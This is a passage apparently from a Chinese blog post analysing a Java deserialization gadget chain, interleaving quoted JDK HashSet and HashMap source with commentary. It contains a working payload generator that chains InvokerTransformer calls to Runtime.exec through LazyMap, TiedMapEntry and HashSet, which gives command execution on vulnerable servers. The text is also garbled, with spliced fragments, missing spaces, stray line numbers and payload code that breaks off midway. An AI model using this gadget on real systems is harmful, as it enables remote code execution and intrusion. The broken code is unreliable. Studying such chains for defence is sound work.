/* 我还是偷懒地先贴代码 */ public Serializable getObject(final String command)throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1); // add(E e)方法将(e, Object())添加到map内部的"map"字段中 map.add("foo"); Field f = null; try { // "map"是HashSet内部的类型为HashMap<E,Object>的字段 // 因为被定义为transient,所以不参与序列化 f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); }
// Read size and verify non-negative. int size = s.readInt(); * * * * // Create backing HashMap map = (((HashSet<?>)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order. for (int i=0; i<size; i++) { @SuppressWarnings("unchecked") // 这里反序列化的第一个类就是TiedMapEntry对象 E e = (E) s.readObject(); // 将该对象e作为key放入数组 map.put(e, PRESENT); } }
HashMap类
在进行put()时就进入了HashMap的方法,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12
/* HashMap.java */ public V put(K key, V value){ // 其中又调用了hash()方法 return putVal(hash(key), key, value, false, true); }
privatevoidwriteObject(java.io.ObjectOutputStream s) throws IOException { int buckets = capacity(); // Write out the threshold, loadfactor, and any hidden stuff s.defaultWriteObject(); s.writeInt(buckets); s.writeInt(size); internalWriteEntries(s); }
// Called only from writeObject, to ensure compatible ordering. voidinternalWriteEntries(java.io.ObjectOutputStream s)throws IOException { Node<K,V>[] tab; if (size > 0 && (tab = table) != null) { for (int i = 0; i < tab.length; ++i) { for (Node<K,V> e = tab[i]; e != null; e = e.next) { s.writeObject(e.key); s.writeObject(e.value); } } } }